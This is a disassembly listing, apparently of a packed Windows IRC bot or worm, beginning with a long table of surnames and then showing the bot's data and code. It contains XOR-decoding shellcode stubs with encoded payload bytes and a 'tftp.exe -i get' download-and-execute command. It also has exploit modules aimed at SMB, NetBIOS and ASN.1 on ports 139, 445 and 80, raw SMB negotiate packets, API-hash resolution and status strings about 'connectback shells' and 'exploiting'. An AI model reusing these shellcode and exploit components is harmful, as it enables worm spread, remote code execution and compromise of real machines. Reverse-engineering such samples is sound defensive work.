aBoudrot	db 'Boudrot',0          ; DATA XREF: .packed:0042DEE0o
aBoudin		db 'Boudin',0           ; DATA XREF: .packed:0042DEDCo
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: .packed:0042DED8o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: .packed:0042DED4o
aBossi		db 'Bossi',0            ; DATA XREF: .packed:0042DED0o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: .packed:0042DECCo
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .packed:0042DEC8o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: .packed:0042DEC4o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .packed:0042DEC0o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .packed:0042DEBCo
		align 10h
aBook		db 'Book',0             ; DATA XREF: .packed:0042DEB8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .packed:0042DEB4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .packed:0042DEB0o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: .packed:0042DEACo
		align 4
aBoner		db 'Boner',0            ; DATA XREF: .packed:0042DEA8o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: .packed:0042DEA4o
aBollinger	db 'Bollinger',0        ; DATA XREF: .packed:0042DEA0o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .packed:0042DE9Co
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .packed:0042DE98o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: .packed:0042DE94o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .packed:0042DE90o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .packed:0042DE8Co
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .packed:0042DE88o
aBloch		db 'Bloch',0            ; DATA XREF: .packed:0042DE84o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .packed:0042DE80o
aBliss		db 'Bliss',0            ; DATA XREF: .packed:0042DE7Co
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .packed:0042DE78o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .packed:0042DE74o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .packed:0042DE70o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: .packed:0042DE6Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .packed:0042DE68o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .packed:0042DE64o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: .packed:0042DE60o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .packed:0042DE5Co
aBinion		db 'Binion',0           ; DATA XREF: .packed:0042DE58o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .packed:0042DE54o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: .packed:0042DE50o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .packed:0042DE4Co
aBetti		db 'Betti',0            ; DATA XREF: .packed:0042DE48o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .packed:0042DE44o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .packed:0042DE40o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .packed:0042DE3Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: .packed:0042DE38o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .packed:0042DE34o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .packed:0042DE30o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .packed:0042DE2Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: .packed:0042DE28o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .packed:0042DE24o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .packed:0042DE20o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: .packed:0042DE1Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .packed:0042DE18o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .packed:0042DE14o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .packed:0042DE10o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: .packed:0042DE0Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: .packed:0042DE08o
aBedford	db 'Bedford',0          ; DATA XREF: .packed:0042DE04o
aBeder		db 'Beder',0            ; DATA XREF: .packed:0042DE00o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .packed:0042DDFCo
aBean		db 'Bean',0             ; DATA XREF: .packed:0042DDF8o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .packed:0042DDF4o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .packed:0042DDF0o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .packed:0042DDECo
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .packed:0042DDE8o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .packed:0042DDE4o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: .packed:0042DDE0o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .packed:0042DDDCo
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .packed:0042DDD8o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .packed:0042DDD4o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: .packed:0042DDD0o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .packed:0042DDCCo
aBarry		db 'Barry',0            ; DATA XREF: .packed:0042DDC8o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: .packed:0042DDC4o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .packed:0042DDC0o
aBarneson	db 'Barneson',0         ; DATA XREF: .packed:0042DDBCo
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: .packed:0042DDB8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .packed:0042DDB4o
aBaranowska	db 'Baranowska',0       ; DATA XREF: .packed:0042DDB0o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: .packed:0042DDACo
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .packed:0042DDA8o
aBarabesi	db 'Barabesi',0         ; DATA XREF: .packed:0042DDA4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .packed:0042DDA0o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .packed:0042DD9Co
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .packed:0042DD98o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .packed:0042DD94o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: .packed:0042DD90o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .packed:0042DD8Co
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: .packed:0042DD88o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: .packed:0042DD84o
aBaglivo	db 'Baglivo',0          ; DATA XREF: .packed:0042DD80o
aBady		db 'Bady',0             ; DATA XREF: .packed:0042DD7Co
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .packed:0042DD78o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .packed:0042DD74o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .packed:0042DD70o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: .packed:0042DD6Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .packed:0042DD68o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .packed:0042DD64o
aAxworthy	db 'Axworthy',0         ; DATA XREF: .packed:0042DD60o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .packed:0042DD5Co
aAurelius	db 'Aurelius',0         ; DATA XREF: .packed:0042DD58o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .packed:0042DD54o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .packed:0042DD50o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .packed:0042DD4Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .packed:0042DD48o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .packed:0042DD44o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: .packed:0042DD40o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .packed:0042DD3Co
aArbia		db 'Arbia',0            ; DATA XREF: .packed:0042DD38o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: .packed:0042DD34o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .packed:0042DD30o
aAnsley		db 'Ansley',0           ; DATA XREF: .packed:0042DD2Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .packed:0042DD28o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .packed:0042DD24o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: .packed:0042DD20o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .packed:0042DD1Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .packed:0042DD18o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .packed:0042DD14o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .packed:0042DD10o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .packed:0042DD0Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .packed:0042DD08o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: .packed:0042DD04o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .packed:0042DD00o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .packed:0042DCFCo
aAltavilla	db 'Altavilla',0        ; DATA XREF: .packed:0042DCF8o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: .packed:0042DCF4o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .packed:0042DCF0o
aAleks		db 'Aleks',0            ; DATA XREF: .packed:0042DCECo
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .packed:0042DCE8o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .packed:0042DCE4o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .packed:0042DCE0o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .packed:0042DCDCo
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .packed:0042DCD8o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .packed:0042DCD4o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: .packed:0042DCD0o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: .packed:off_42DCCCo
aAdams		db 'Adams',0            ; DATA XREF: .packed:0042DCC8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: .packed:0042DCC4o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .packed:off_42DCC0o
		align 4
byte_431918	db 50h			; DATA XREF: .packed:0040ADEFo
					; .packed:0040ADFCr
		db 43h,	2 dup(0)
dword_43191C	dd 7C7325h		; DATA XREF: .packed:0040AE9Ao
dword_431920	dd 5D73255Bh, 7Ch	; DATA XREF: .packed:0040AFA4o
dword_431928	dd 3F3F3Fh		; DATA XREF: .packed:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_43192C	dd 334B32h		; DATA XREF: .packed:0040AF94o
dword_431930	dd 5058h		; DATA XREF: .packed:0040AF86o
					; sub_41AA42+AAo
dword_431934	dd 4B32h		; DATA XREF: .packed:0040AF76o
					; sub_41AA42+98o
dword_431938	dd 454Dh		; DATA XREF: .packed:0040AF5Do
					; sub_41AA42+7Eo
dword_43193C	dd 3839h		; DATA XREF: .packed:0040AF4Do
					; sub_41AA42+6Co
dword_431940	dd 544Eh		; DATA XREF: .packed:0040AF3Do
					; sub_41AA42+5Ao
dword_431944	dd 3539h		; DATA XREF: .packed:0040AF2Fo
					; sub_41AA42+46o
dword_431948	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431950	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431960
; ---------------------------------------------------------------------------


loc_43195E:				; CODE XREF: .packed:loc_431960p
		jmp	short loc_431965
; ---------------------------------------------------------------------------


loc_431960:				; CODE XREF: .packed:0043195Cj
		call	loc_43195E


loc_431965:				; CODE XREF: .packed:loc_43195Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_43196C:				; CODE XREF: .packed:00431971j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_43196C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_431982:				; CODE XREF: .packed:00431987j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_431982
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A24
		jnz	short loc_431A10
		retn
; ---------------------------------------------------------------------------


loc_431A10:				; CODE XREF: .packed:00431A0Dj
					; .packed:00431A1Dj
		call	near ptr loc_431A15+1


loc_431A15:				; CODE XREF: .packed:loc_431A10p
		add	[edx+0], ch
		call	sub_431A24
		jz	loc_431A10
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A24	proc near		; CODE XREF: .packed:00431A08p
					; .packed:00431A18p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A24	endp

; ---------------------------------------------------------------------------
		align 10h
dword_431A50	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40B1B3+10o
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431AD0	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_431AD4	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431AD8	dd 0			; DATA XREF: sub_40B64A+2Eo
					; .packed:0040D495w ...
dword_431ADC	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431AE0	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_431AE4	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
		dd 6D7973h, 0
		db 2 dup(0)
byte_431CB2	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn445_0	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431CDE

; =============== S U B	R O U T	I N E =======================================



sub_431CCE	proc near		; CODE XREF: sub_431CCE:loc_431CDEp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431CD6:				; CODE XREF: sub_431CCE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431CD6
		jmp	short loc_431CE3
; ---------------------------------------------------------------------------


loc_431CDE:				; CODE XREF: .packed:00431CCCj
		call	sub_431CCE


loc_431CE3:				; CODE XREF: sub_431CCE+Ej
		jo	short near ptr dword_431C6C+12h
		cwde
		cdq
		cdq
		retn
sub_431CCE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 10h
dword_431E60	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_431E6C	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431E8C	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431ED4	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431F10	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431F20	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431F3C	db  2Dh	; -		; DATA XREF: sub_40B8A1+172o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431F70	db  2Dh	; -		; DATA XREF: sub_40B8A1+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431FA0	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431FC0	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431FDC	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_432010	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432048	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_432078	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320AC	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_4320E0	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432114	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43213C	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432174	db  2Dh	; -		; DATA XREF: sub_40C33C+1CEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321B4	db  2Dh	; -		; DATA XREF: sub_40C33C+173o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_4321EC	db  2Dh	; -		; DATA XREF: sub_40C33C+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432220	db  2Dh	; -		; DATA XREF: sub_40C33C+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_432254	db  2Dh	; -		; DATA XREF: sub_40C59B+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_43227C	db  2Dh	; -		; DATA XREF: sub_40C668+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_4322A4	db  2Dh	; -		; DATA XREF: sub_40C759+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
unk_4322D0	db  2Dh	; -		; DATA XREF: sub_40C759+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 4
dword_432308	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_432310	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_432314	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_43231C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323A4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4323D4	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_4323E0	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43242C	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432470	proc near		; DATA XREF: .packed:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43256C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_432582
		mov	[esi+8], eax
		call	sub_432535
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_432582
		mov	[esi+0Ch], eax
		call	sub_4324E7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_432582
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432470	endp


; =============== S U B	R O U T	I N E =======================================



sub_4324E7	proc near		; CODE XREF: sub_432470+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432510
		mov	eax, [esp+20h+var_14]
